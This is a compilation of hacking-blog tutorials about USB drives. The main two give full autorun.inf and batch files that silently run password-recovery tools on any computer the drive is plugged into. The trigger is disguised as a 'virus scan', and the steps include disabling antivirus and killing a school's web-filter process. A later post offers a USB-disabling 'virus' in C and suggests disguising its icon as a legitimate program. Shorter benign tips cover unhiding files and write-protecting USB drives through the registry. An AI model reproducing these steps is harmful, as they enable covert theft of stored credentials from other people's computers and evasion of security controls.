How to Sniff Passwords Using USB Drive


Hack Password using USB DriveAs we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. 
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txtstart mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Unhide Files in Virus Infected Pendrive Using Command Prompt

Majority of computer users nowadays uses USB flash memory's like pendrives for transferring data, movies, games documents and more.. The only disadvantage of using this kind of memory is that most of these Flash disk's have write protection or virus protection in it.


If you have some nasty virus on USB drive that hide all your file in the drive? ie; hides your files and folders, creates exe file extensions of your folders and even corrupt your files. You can view these files by going to Tools>>Filder Options ..But the attributes of these files often stay unchanged even if you uncheck hidden attribute on file/folder properties.

One sure way to retrieve your file or folder attributes back to unhidden is to use command prompt in windows. All you have to do is described below in steps.

STEP 1:
Plug your pendrive to USB port of your computer. Make sure it is detected.

STEP 2:

Start command prompt by Click Start>>Run and type cmd then hit enter.

STEP3
Find the drive letter for the conected USB drive. For example, G:
In command prompt, type G:
Then type
attrib -s -h /s /d *.*

Make sure that you put space between each elements in the code.
hit enter, wait a moment and this should unhide all your files on your pendrive. Checkout the screenshot for more to clarify.

How to Make an Auto-Hacking USB Drive

How to Make an Auto-Hacking USB Drive
loading...
i
I will teach you how to make a basic Auto-Hacking USB Drive. There are probably many different variationsof this. I will be showing you the most basic.

You need two things:
1) A USB Drive devoted to this
2) The programs and files that I will show you how to make or where to get. If you have trouble making the two files that I show you how to create, they can be downloaded at the end of the Instructable.

OK PEOPLE!!!!!
THIS AUTO-HACKING USB DRIVE SIMPLY CONTAINS APPLICATIONS THAT RECOVER PASSWORDS AND SUCH. STOP LEAVING POSTS ABOUT HOW YOU DON'T UNDERSTAND WHAT GETS HACKED.
 

Step 1A Brief Explanation

A Brief Explanation
loading...
i
OK. If you are looking for an Instructable that will teach you how to hack the Pentagon with a 2GB USB Drive, look somewhere else. This Instructable uses a batch file, an autorun file, and downloaded programs.

The Autorun File
loading...
i
«


So. Here we go. We will start with the Autorun file.

This file is the one that makes the pop-up window when you plug in the USB Drive. You can use this on any USB Drive, even if it has U3 on it.

Open Notepad (I'm using Notepad++) and type the following:

(autorun)
label=(Name you want the drive to have)
icon=(Icon file).ico
open=(Batch file we will make later).bat
action=(What you want the action to be)

MAKE SURE YOU DO NOT TYPE THE ()'s! Where it says (autorun), replace the parentheses with brackets (the buttons to the right of the "p" key on the keyboard. USE THE BOTTOM BRACKETS, NOT THE TWISTY FRENCH BRACKETS!)

Save this file as Autorun.inf

Make sure that you save it immediately inside your USB Drive, not inside any sub-folders (My Computer, Autohax0r).

Also, I have used an icon (an .ico file), so the USB Drive will have a different picture than the boring standard picture. To get one of these, I advise going to http://www.iconarchive.com/ to get an .ico file (you have to specifically download it as .ico). If you do this, save the icon in the same place as the Autorun file.
 

The Batch File
loading...
i
«



We will now make the batch file that starts all the "hacking programs." MAKE SURE YOU NAME IT THE SAME AS WHAT YOU CALLED IT IN THE AUTORUN FILE!

Type this into Notepad:

@echo off
title KTX
start .\Applications\FOLDER\APPLICATION.exe
start .\CommandLine\Process.exe -k TermX.exe
start .\CommandLine\Process.exe -k WinVNC.exe
pause
goto eof

I will explain the commands used:
@echo off: Makes it so the file pops-up without showing the commands. Makes it look more professional.

title: Makes a title at the top of the batch file.

start: If you can't figure this one out, you should not be reading this Instructable.

pause: Pauses the file, waits for you to press any button.

goto: Sends the file to a different part of the script.

eof: End of file.

Also, TermX.exe is a program that my school uses to keep us out of certain websites. IT IS NOT THE FIREWALL. For info on WinVNC.exe, go to http://www.processlibrary.com/directory/files/winvnc.

Where it says \FOLDER\APPLICATION, you will change this in two steps.

Save this as KTX.bat, and place it in the same place (directory) as the Autorun.inf file.

Step 4The "Hacking" Programs

The "Hacking" Programs
loading...
i
«


Ok. We are now going on to the actual hacking programs. Go to http://www.nirsoft.net/, and browse the programs. If you have any different websites or programs, feel free to use them. I am using SniffPass, LSASecretsView, and WirelessKeyView. Install them, and place them and the folders they create in the same directory as all the other stuff.

Your computer might identify some as viruses, but don't worry. It only does this because some programs can find certain passwords.

Also, you might notice that I have a folder called "CommandLine." This is a VERY usefull program, and can be downloaded at http://www.beyondlogic.org/solutions/processutil/processutil.htm. There is also a hearty description at this page. 

Step 5Modifying KTX.bat

Modifying KTX.bat
loading...
i
«

It is now time to go back to KTX.bat (by the way, remember that TermX.exe thing I mentioned? Well, KTX stands for "Kill TermX". Feel free to change the batch file name to whatever you want, just MAKE SURE TO ADJUST THE AUTORUN FILE, TOO!).

Go to the part of the Autorun file where it says "start .\Applications\FOLDER\APPLICATION.exe". You are going to change this. Also, add or subtract as many of this line as you need. If you have three programs to run, you need three lines of this code.

First, create a folder in the same place as the Autorun and KTX files, and name it Applications. Drag all the folders that contain the hacking programs into the Applications folder. You should come up with a directory like this:
"My Computer\AutoHax0r\Applications\HACKING FOLDERS HERE (with programs inside the folders)"

Also, you do not have to have the CommandLine in the KTX file. I just use it for my school.
 

Step 6All Finished!

All Finished!
loading...
i
«


Ok. This is the end of the tutorial. You should have the Autorun.inf file, the KTX.bat file, and some hacking files of your choice. To work the magic of the Auto-Hacking USB Drive, just unplug the drive in question and plug it back in. If it doesn't work, you did something wrong, because I told you how to do it right. Either that, or you have strange computer settings.

If you are confused as to how to make the batch file or the Autorun file, download them here.

Disable Writing to USB Drives

A common security concern at organizations is allowing users to plug in a usb flash drive, because they could so easily copy corporate data.Since Windows XP SP2, you can disable writing to USB devices altogether using a simple registry hack.however one should also note that if you are using this trick, you should make sure that the users are not administrators on the computer, because they could easily change this setting back.
Here it is:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
"WriteProtect"=dword:00000001

Paste the code into a notepad file,and then save it as a registry file.Double click it and voila,you have successfully prevented the write access to the USB drive.
Once you have double clicked the registry, you will have to reboot for the changes to take effect.
This works on Windows Vista as well. Here's the window you'll get when you try and write to a USB drive:
Disable Writing to USB Drives
If you want to enable the write access again,then copy this code and paste the code into a notepad file,and then save it as a registry file.Double click it and write access will be enabled again.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
"WriteProtect"=dword:00000000'


Stay tuned for more tips and hacks.

A Virus Program to Disable USB Ports


Virus to disable USB portsIn this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.
